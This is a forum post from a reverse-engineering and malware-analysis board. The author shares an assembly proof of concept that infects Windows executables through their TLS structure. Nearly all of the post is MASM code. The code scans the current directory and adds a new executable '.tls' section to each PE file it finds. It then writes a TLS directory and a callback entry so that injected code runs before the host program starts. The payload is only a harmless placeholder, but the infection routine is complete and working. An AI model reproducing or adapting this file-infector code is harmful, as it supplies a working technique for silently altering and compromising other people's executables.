A forum for reverse engineering, OS internals and malware analysis 

Forum for discussion about user-mode development.
 #14131  by The Swash
 Thu Jun 21, 2012 5:28 am
Hi,

I programmed a PoC of files infecting with TLS structure, this is a basic example. Is programmed in MASM and add section to secure loader write and execute TLS CallBacks.

A greeting,
Iván Portilla.

Code:
Code: Select all
; #######################################
; # Example of infection a executable files with TLS.
; # Programmed by Iván Portilla.
; # Friday, 8 of june of 2012.
; # http://reversingcode.com.
; # Thanks: Shaddy, Guan de dio & Lelouch  
; #######################################

.386
.model flat, stdcall
option casemap:none

include kernel32.inc
include windows.inc
includelib kernel32.lib

OffsetToRVA PROTO SectionHeader: DWORD, lOffset: DWORD, NumberOfSections: WORD
FindFiles PROTO
InfectFile PROTO lFile: DWORD
DataAlign PROTO Value: DWORD, Alignment: DWORD
AddSection PROTO MappedFile: DWORD, lSize: DWORD, lData: DWORD, SectionName: DWORD, Characteristics: DWORD

.data
LPW32DATA WIN32_FIND_DATA <>
NewSection IMAGE_SECTION_HEADER <>

ImageBase dd 0
NumberOfSections dw 0
Shellcode db 0B8h,0,0,0,0
lSectionName db '.tls',0,0,0,0
MappedName db 'infection',0
MyName db 'Infeccion.exe',0
MyPath db 255 dup (0)
InfectFilePath db 255 dup(0)
ShellcodeLen = 5
AlignedShell db 0

.code

OffsetToRVA PROC SectionHeader: DWORD, lOffset: DWORD, lNumberOfSections: WORD
	LOCAL Result: DWORD
	
	pushad
	mov eax, SectionHeader
	mov ebx, lOffset
	mov cx, lNumberOfSections
	assume eax: PTR IMAGE_SECTION_HEADER
	
	Begin:
	mov edi, dword ptr[eax].PointerToRawData
	add edi, dword ptr[eax].SizeOfRawData
	cmp ebx, edi
	jge @F
		cmp  ebx, dword ptr[eax].PointerToRawData
		jb @F
			sub ebx, dword ptr[eax].PointerToRawData
			add ebx, dword ptr[eax].VirtualAddress
			mov dword ptr[Result], ebx
			jmp Finish
	
	@@:
		add eax, 28h
		dec cx
		or cx, cx
		jnz Begin
		mov dword ptr[Result], 0
	Finish:
	popad
	mov ebx, dword ptr[Result]
	Ret
OffsetToRVA EndP

DataAlign PROC Value: DWORD, Alignment: DWORD
	mov eax, Value
	mov ebx, Alignment
	xor edx, edx
	div ebx
	or edx, edx
	jnz @F
		mov eax, Value
		jmp  Finish
	@@:
		mov eax, Value
		mov ebx, Alignment
		xor edx, edx
		div ebx
		mul ebx
		add eax, ebx
	Finish:
	Ret
DataAlign EndP

AddSection PROC MappedFile: DWORD, lSize: DWORD, lData: DWORD, SectionName: DWORD, Characteristics: DWORD
	LOCAL NumberOfSectionsPointer: DWORD
	LOCAL SizeOfImageValue: DWORD
	LOCAL SizeOfImagePointer: DWORD
	LOCAL SectionAlignment: DWORD
	LOCAL FileAlignment:  DWORD
	
	mov eax, MappedFile
	assume eax: PTR IMAGE_DOS_HEADER
	add eax, dword ptr[eax].e_lfanew
	
	assume eax: PTR IMAGE_NT_HEADERS32
	push dword ptr[eax].OptionalHeader.FileAlignment
	pop dword ptr[FileAlignment] 
	
	push dword ptr[eax].OptionalHeader.ImageBase
	pop dword ptr[ImageBase]
	
	push dword ptr[eax].OptionalHeader.SectionAlignment
	pop dword ptr[SectionAlignment] 
	
	push dword ptr[eax].OptionalHeader.SizeOfImage
	lea ebx, dword ptr[eax].OptionalHeader.SizeOfImage
	push ebx
	pop dword ptr[SizeOfImagePointer]
	pop dword ptr[SizeOfImageValue] 
	
	push word ptr[eax].FileHeader.NumberOfSections
	lea ebx, word ptr[eax].FileHeader.NumberOfSections
	push ebx
	pop dword ptr[NumberOfSectionsPointer]
	pop word ptr[NumberOfSections]
	
	xor ebx, ebx
	mov  bx, word ptr[eax].FileHeader.SizeOfOptionalHeader
	lea eax, dword ptr[eax].OptionalHeader
	add eax, ebx 
	push eax
	
	push eax
	xor eax, eax
	mov ax, word ptr[NumberOfSections]
	dec eax
	mov ebx, 028h
	mul ebx
	add dword ptr [esp], eax  ; Last section data.
	pop eax
	assume eax: PTR IMAGE_SECTION_HEADER
	mov ebx, offset NewSection
	assume ebx: PTR IMAGE_SECTION_HEADER
	
	push eax
	push dword ptr[eax].VirtualAddress
	mov ecx, dword ptr[eax].Misc.VirtualSize
	add dword ptr[esp], ecx
	pop eax
	
	push ebx
	invoke DataAlign, eax, dword ptr[SectionAlignment]
	pop ebx
	mov dword ptr[ebx].VirtualAddress, eax
	pop eax
	
	push lSize
	pop dword ptr[ebx].Misc.VirtualSize
	
	push lSize 
	pop dword ptr[ebx].SizeOfRawData
	
	push dword ptr[eax].PointerToRawData
	mov ecx, dword ptr[eax].SizeOfRawData
	add dword ptr[esp], ecx
	mov ecx, dword ptr[esp]
	mov dword ptr[ebx].PointerToRawData, ecx
	mov ecx, Characteristics
	mov dword ptr[ebx].Characteristics, ecx
	
	add eax, 028h
	push eax 
	push ebx
	lea ecx, dword ptr[ebx].Name1
	invoke RtlMoveMemory, ecx, SectionName, 8
	pop ebx 
	pop eax
	
	push eax 
	push ebx
	invoke RtlMoveMemory,eax, ebx, 028h
	
	mov ecx, dword ptr[NumberOfSectionsPointer]
	inc dword ptr[ecx]
	invoke FlushViewOfFile, dword ptr[NumberOfSectionsPointer],2
	
	inc word ptr[NumberOfSections]
	invoke DataAlign,dword ptr[SizeOfImageValue], dword ptr[SectionAlignment]
	mov dword ptr[SizeOfImageValue], eax
	pop ebx
	mov edi, dword ptr[ebx].SizeOfRawData
	push ebx
	add dword ptr[SizeOfImageValue], edi
	mov eax, dword ptr[SizeOfImageValue]
	mov ebx, dword ptr[SizeOfImagePointer]
	mov dword ptr[ebx], eax
	invoke FlushViewOfFile, dword ptr[SizeOfImagePointer], 4

	pop ebx
	pop eax
	pop ecx
	add ecx, MappedFile
	
	push ecx
	
	invoke RtlMoveMemory, ecx, addr Shellcode, ShellcodeLen
	pop ecx
	push ecx
	invoke FlushViewOfFile, ecx, lSize
	pop ecx
	pop edx
		
	Ret
AddSection EndP

InfectFile PROC lFile:DWORD
	LOCAL FileHandle: DWORD
	LOCAL FilePointer: DWORD
	LOCAL FileMap: DWORD
	LOCAL ShellcodeAddress: DWORD
	LOCAL SectionHeader: DWORD
	
	invoke CreateFile, lFile, GENERIC_ALL, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
	mov dword ptr[FileHandle], eax
	cmp eax, INVALID_HANDLE_VALUE
	jz @F
		
		invoke GetFileSize, dword ptr[FileHandle], 0
		push eax
		invoke DataAlign, ShellcodeLen, 200h
		pop ebx
		mov dword ptr[AlignedShell], eax
		add eax, ebx
		invoke CreateFileMapping,dword ptr[FileHandle], NULL, PAGE_READWRITE, 0, eax, addr MappedName
		mov dword ptr[FileMap], eax
		invoke MapViewOfFile, dword ptr[FileMap], FILE_MAP_ALL_ACCESS, 0, 0, 0
		cmp eax, INVALID_HANDLE_VALUE
		jz @F
			mov dword ptr[FilePointer], eax
			assume eax: PTR IMAGE_DOS_HEADER
			cmp word ptr[eax].e_magic, IMAGE_DOS_SIGNATURE
			jnz @F
				add eax, dword ptr[eax].e_lfanew
				assume eax: PTR IMAGE_NT_HEADERS
				cmp dword ptr[eax].Signature, IMAGE_NT_SIGNATURE
				jnz @F
					invoke AddSection, dword ptr[FilePointer], dword ptr [AlignedShell], addr Shellcode, addr lSectionName, 0E0000020h
					mov dword ptr[ShellcodeAddress ], ecx
					mov dword ptr[SectionHeader], edx
					mov eax, dword ptr[FilePointer]
					assume eax: PTR IMAGE_DOS_HEADER
					mov ebx, eax
					add ebx, dword ptr[eax].e_lfanew
					assume ebx: PTR IMAGE_NT_HEADERS32
					lea ecx, dword ptr[ebx].OptionalHeader.DataDirectory
					add ecx, 72
					mov eax, dword ptr[ShellcodeAddress]
					sub eax, dword ptr[FilePointer]
					invoke OffsetToRVA, dword ptr[SectionHeader], eax, word ptr[NumberOfSections]
					mov edx, ebx
					push edx
					add edx, ShellcodeLen
					mov dword ptr[ecx], edx
					mov dword ptr[ecx+4], 018h
					assume ecx:nothing
					invoke FlushViewOfFile, ecx, 8
					mov eax, dword ptr[ShellcodeAddress]
					add eax, ShellcodeLen; For TLS Structure
					mov ecx, eax
					add ecx, 18h ; For Callbacks array
					mov edx, ecx
					add edx, 8 ; For  AddressOfIndex
					mov esi, dword ptr[ImageBase]
					assume eax: PTR IMAGE_TLS_DIRECTORY32
					mov dword ptr[eax].StartAddressOfRawData, 0
					mov dword ptr[eax].EndAddressOfRawData, 0
					mov dword ptr[eax].AddressOfIndex, edx
					mov edi, dword ptr[FilePointer]
					sub dword ptr[eax].AddressOfIndex, edi
					invoke OffsetToRVA, dword ptr[SectionHeader], dword ptr[eax].AddressOfIndex, word ptr[NumberOfSections]
					mov dword ptr[eax].AddressOfIndex, ebx
					add dword ptr[eax].AddressOfIndex, esi
					mov dword ptr[eax].AddressOfCallBacks, ecx
					sub dword ptr[eax].AddressOfCallBacks, edi
					invoke OffsetToRVA, dword ptr[SectionHeader], dword ptr[eax].AddressOfCallBacks, word ptr[NumberOfSections]
					mov dword ptr[eax].AddressOfCallBacks, ebx
					add dword ptr[eax].AddressOfCallBacks, esi					
					mov dword ptr[eax].SizeOfZeroFill, 0
					mov dword ptr[eax].Characteristics, 0
					pop edi
					mov dword ptr[ecx], edi
					add dword ptr[ecx], esi
					invoke FlushViewOfFile, edx, 20h
					invoke UnmapViewOfFile, dword ptr[FilePointer]
					invoke CloseHandle, dword ptr[FileMap]
					invoke CloseHandle, dword ptr[FileHandle]
	@@:
	Ret
InfectFile EndP
	

FindFiles PROC
	LOCAL lFileName: DWORD
	LOCAL SearchHandle: DWORD
	
	invoke GlobalAlloc, GPTR, MAX_PATH
	mov dword ptr[lFileName], eax
	invoke GetCurrentDirectory, MAX_PATH, addr MyPath
	mov byte ptr[MyPath + eax], '\'
	push eax
	invoke RtlMoveMemory,dword ptr[lFileName], addr MyPath, MAX_PATH
	pop eax
	mov ebx, dword ptr[lFileName]
	mov word ptr[ebx+eax+1], '*'
	
	invoke FindFirstFile, lFileName, addr LPW32DATA
	mov dword ptr[SearchHandle], eax
	@@:
		invoke RtlZeroMemory, addr LPW32DATA, sizeof(WIN32_FIND_DATA)
		invoke FindNextFile, dword ptr[SearchHandle], addr LPW32DATA
		or eax, eax
		push eax
		jz NextFile
			mov eax, LPW32DATA.dwFileAttributes
			and eax, FILE_ATTRIBUTE_ARCHIVE
			or eax, eax
			jz NextFile
				invoke RtlZeroMemory, addr InfectFilePath, MAX_PATH
				invoke RtlMoveMemory, addr InfectFilePath, addr MyPath, MAX_PATH
				lea eax, LPW32DATA.cFileName
				push eax
				invoke lstrcmp, eax, addr MyName
				or eax, eax
				pop eax
				jz NextFile
				invoke lstrcat, addr InfectFilePath, eax
				invoke InfectFile, addr InfectFilePath
		NextFile:
		pop eax
		or eax, eax
	jnz @B
	Ret
FindFiles EndP

start:
	invoke FindFiles
	invoke ExitProcess, 0
end start

end